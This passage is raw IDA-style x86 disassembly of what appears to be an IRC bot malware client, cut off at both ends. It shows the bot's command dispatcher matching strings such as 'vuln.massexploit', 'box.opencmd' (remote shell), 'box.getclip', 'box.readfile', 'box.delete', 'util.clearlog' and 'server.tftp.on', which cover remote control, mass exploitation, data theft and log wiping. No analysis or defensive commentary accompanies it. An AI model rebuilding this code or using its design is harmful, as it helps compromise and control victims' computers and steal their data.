		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_410B4D
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_407765
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_407765
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_411F30
		add	esp, 14h


loc_40AC53:				; CODE XREF: seg000:0040AD3Fj
		test	eax, eax
		jz	loc_40AD44
		push	edi
		push	dword ptr [ebp+8]
		call	sub_411F30
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_413150
		lea	eax, [ebp-0A0h]
		push	offset asc_42DEB8 ; ")"
		push	eax
		call	sub_4130B0
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A0h], 30h
		jl	short loc_40AC9F
		cmp	byte ptr [ebp-0A0h], 39h
		jle	short loc_40ACB5


loc_40AC9F:				; CODE XREF: seg000:0040AC94j
		push	3
		lea	eax, [ebp-0A0h]
		push	offset a63	; "63"
		push	eax
		call	sub_413150
		add	esp, 0Ch


loc_40ACB5:				; CODE XREF: seg000:0040AC9Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411ECF
		test	eax, eax
		pop	ecx
		jle	short loc_40ACD8
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411ECF
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_40ACE9
; ---------------------------------------------------------------------------


loc_40ACD8:				; CODE XREF: seg000:0040ACC4j
		call	sub_4119BF
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_40ACE9:				; CODE XREF: seg000:0040ACD6j
		lea	eax, [ebp-0A0h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_411FB0
		mov	[ebp+10h], eax
		push	0Ch
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_4119E0
		mov	eax, [ebp+10h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A0h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_413150
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407765
		push	edi
		push	dword ptr [ebp+8]
		call	sub_411F30
		add	esp, 30h
		jmp	loc_40AC53
; ---------------------------------------------------------------------------


loc_40AD44:				; CODE XREF: seg000:0040AC55j
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_413150
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_413150
		lea	eax, [ebp-119Ch]
		push	offset asc_420708 ; " "
		push	eax
		call	sub_4130B0
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_40AD94:				; CODE XREF: seg000:0040ADA9j
		push	offset asc_420708 ; " "
		push	ebx
		call	sub_4130B0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40AD94
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_40A60B
		add	ecx, 3
		mov	[eax], ecx


loc_40ADC6:				; CODE XREF: seg000:0040ABDBj
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+18h], edi
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1FA
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1FA
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1D8
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F1D8
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F12D
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F12D
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F11E
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F11E
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F020
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F020
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F020
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F020
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AEF5
		push	dword ptr [ebp+esi-90h]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42DE0C
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40AEF5:				; CODE XREF: seg000:0040AEDBj
		push	edi
		push	offset dword_42DDFC
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AF1E
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42DDF0
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40AF1E:				; CODE XREF: seg000:0040AF04j
		push	edi
		push	offset dword_42DDE8
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AF47
		push	dword ptr [ebp+esi-90h]
		push	1Ch
		push	offset dword_42DDDC
		push	offset dword_42DDD0
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40AF47:				; CODE XREF: seg000:0040AF2Dj
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AF70
		push	dword ptr [ebp+esi-90h]
		push	10h
		push	offset dword_42DDAC
		push	offset dword_42DD9C
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: seg000:0040AF56j
		push	edi
		push	offset dword_42DD90
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AF99
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset dword_42DD84
		push	offset dword_42DD78
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40AF99:				; CODE XREF: seg000:0040AF7Fj
		push	edi
		push	offset dword_42DD68
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC2
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset dword_42DD5C
		push	offset dword_42DD50
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: seg000:0040AFA8j
		push	edi
		push	offset dword_42DD40
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFEB
		push	dword ptr [ebp+esi-90h]
		push	0Fh
		push	offset dword_42DD34
		push	offset dword_42DD28
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40AFEB:				; CODE XREF: seg000:0040AFD1j
		push	edi
		push	offset dword_42DD18
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B014
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset dword_42DD0C
		push	offset dword_42DD00
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40B014:				; CODE XREF: seg000:0040AFFAj
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03D
		push	dword ptr [ebp+esi-90h]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_42DCE4
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40B03D:				; CODE XREF: seg000:0040B023j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFF1
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFF1
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFDC
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFDC
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B0BA
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_42DC84
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40B0BA:				; CODE XREF: seg000:0040B0A0j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B0E3
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42DC5C
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40B0E3:				; CODE XREF: seg000:0040B0C9j
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B10C
		push	dword ptr [ebp+esi-90h]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40B10C:				; CODE XREF: seg000:0040B0F2j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFC6
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFC6
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFA5
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EFA5
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF83
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF83
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF3B
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF3B
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEFD
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEFD
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEC6
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EEC6
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B25A
		call	sub_407BAE
		test	eax, eax
		mov	eax, offset dword_42DB80
		jnz	short loc_40B22C
		mov	eax, offset dword_42DB48


loc_40B22C:				; CODE XREF: seg000:0040B225j
		push	eax
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 1Ch
		jmp	loc_40D60D
; ---------------------------------------------------------------------------


loc_40B25A:				; CODE XREF: seg000:0040B217j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EDD5
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EDD5
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EDB5
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EDB5
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ECC5
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ECC5
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ECA9
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40ECA9
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC72
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC72
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC47
		push	edi
		push	offset aSi	; "si"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC47
		push	edi
		push	offset aEnz_be010ne ; "enz.be010ne"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC0D
		push	edi
		push	offset aEnz_010	; "enz.010`"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC0D
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EAEA
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EAEA
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA66
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA66
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA49
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA49
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA30
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EA30
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E9E9
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E9E9
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B47B
		push	dword ptr [ebp+esi-90h]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40F004
; ---------------------------------------------------------------------------


loc_40B47B:				; CODE XREF: seg000:0040B461j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B508
		cmp	[ebp-8], ebx
		jnz	short loc_40B4AB
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 14h


loc_40B4AB:				; CODE XREF: seg000:0040B48Fj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40B4B0:				; CODE XREF: seg000:0040B4F6j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40B4BC
		mov	eax, offset aEmpty ; "<Empty>"


loc_40B4BC:				; CODE XREF: seg000:0040B4B5j
		push	eax
		push	esi
		lea	eax, [ebp-2E4h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_411963
		push	1
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F466
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40B4B0
		push	offset dword_42D9BC


loc_40B4FD:				; CODE XREF: seg000:0040EEC1j
		call	sub_408CFE
		pop	ecx
		jmp	loc_40F247
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: seg000:0040B48Aj
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E9A8
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E9A8
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E97D
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E97D
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E959
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E959
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E91C
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E91C
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E782
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E782
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E636
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E636
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E337
		push	edi
		push	offset aVv	; "vv"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E337
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_40A60B
		push	dword ptr [ebp+18h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E31E
		push	dword ptr [ebp+18h]
		push	offset aEnz_n	; "enz.n"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E31E
		push	dword ptr [ebp+18h]
		push	offset aEnz_join ; "enz.join"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2FE
		push	dword ptr [ebp+18h]
		push	offset aEnz_j	; "enz.j"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2FE
		push	dword ptr [ebp+18h]
		push	offset aEnz_part ; "enz.part"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2E5
		push	dword ptr [ebp+18h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2E5
		push	dword ptr [ebp+18h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2AE
		push	dword ptr [ebp+18h]
		push	offset aEnz_r	; "enz.r"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E2AE
		push	dword ptr [ebp+18h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1EB
		push	dword ptr [ebp+18h]
		push	offset aThreads_k ; "threads.k"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1EB
		push	dword ptr [ebp+18h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E140
		push	dword ptr [ebp+18h]
		push	offset aClone_q	; "clone.q"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E140
		push	dword ptr [ebp+18h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0F5
		push	dword ptr [ebp+18h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0F5
		push	dword ptr [ebp+18h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0E0
		push	dword ptr [ebp+18h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0E0
		push	dword ptr [ebp+18h]
		push	offset aBox_open ; "box.open"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0B6
		push	dword ptr [ebp+18h]
		push	offset aBox_o	; "box.o"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E0B6
		push	dword ptr [ebp+18h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E091
		push	dword ptr [ebp+18h]
		push	offset aEnz_se	; "enz.se"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E091
		push	dword ptr [ebp+18h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E02F
		push	dword ptr [ebp+18h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E02F
		push	dword ptr [ebp+18h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E003
		push	dword ptr [ebp+18h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E003
		push	dword ptr [ebp+18h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFA8
		push	dword ptr [ebp+18h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DFA8
		push	dword ptr [ebp+18h]
		push	offset aBox_delete ; "box.delete"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF71
		push	dword ptr [ebp+18h]
		push	offset aBox_del	; "box.del"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF71
		push	dword ptr [ebp+18h]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF56
		push	dword ptr [ebp+18h]
		push	offset aBox_fl	; "box.fl"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF56
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF1B
		push	dword ptr [ebp+18h]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DF1B
		push	dword ptr [ebp+18h]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DED0
		push	dword ptr [ebp+18h]
		push	offset aBox_cm	; "box.cm"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DED0
		push	dword ptr [ebp+18h]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE4B
		push	dword ptr [ebp+18h]
		push	offset aBox_rf	; "box.rf"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DE4B
		push	dword ptr [ebp+18h]
		push	offset aBox_net	; "box.net"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BC15
		cmp	ds:dword_431F60, ebx
		jz	short loc_40B9AA
		cmp	ds:dword_431F88, ebx
		jz	short loc_40B9AA
		push	offset dword_42D72C
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40B9AA:				; CODE XREF: seg000:0040B996j
					; seg000:0040B99Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_40C33C
		mov	eax, [ebp+esi-8Ch]
		mov	[ebp+8], ebx
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_40B9D2
		push	eax
		push	dword ptr [ebp-0Ch]
		call	sub_411F30
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_40B9D2:				; CODE XREF: seg000:0040B9C2j
		push	edi
		push	offset aStart	; "start"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BA38
		cmp	[ebp+20h], ebx
		jz	short loc_40BA0C
		push	dword ptr [ebp+8]
		push	3


loc_40B9ED:				; CODE XREF: seg000:0040BA4Ej
					; seg000:0040BA66j ...
		call	sub_40F501
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411963
		add	esp, 14h
		jmp	loc_40C33C
; ---------------------------------------------------------------------------


loc_40BA0C:				; CODE XREF: seg000:0040B9E6j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F7A8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40BA2E
		push	offset dword_42D6F4
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BA2E:				; CODE XREF: seg000:0040BA22j
		push	offset dword_42D6C0
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40BA38:				; CODE XREF: seg000:0040B9E1j
		push	edi
		push	offset aStop	; "stop"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BA50
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_40B9ED
; ---------------------------------------------------------------------------


loc_40BA50:				; CODE XREF: seg000:0040BA47j
		push	edi
		push	offset aPause	; "pause"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BA68
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_40B9ED
; ---------------------------------------------------------------------------


loc_40BA68:				; CODE XREF: seg000:0040BA5Fj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BA83
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_40B9ED
; ---------------------------------------------------------------------------


loc_40BA83:				; CODE XREF: seg000:0040BA77j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
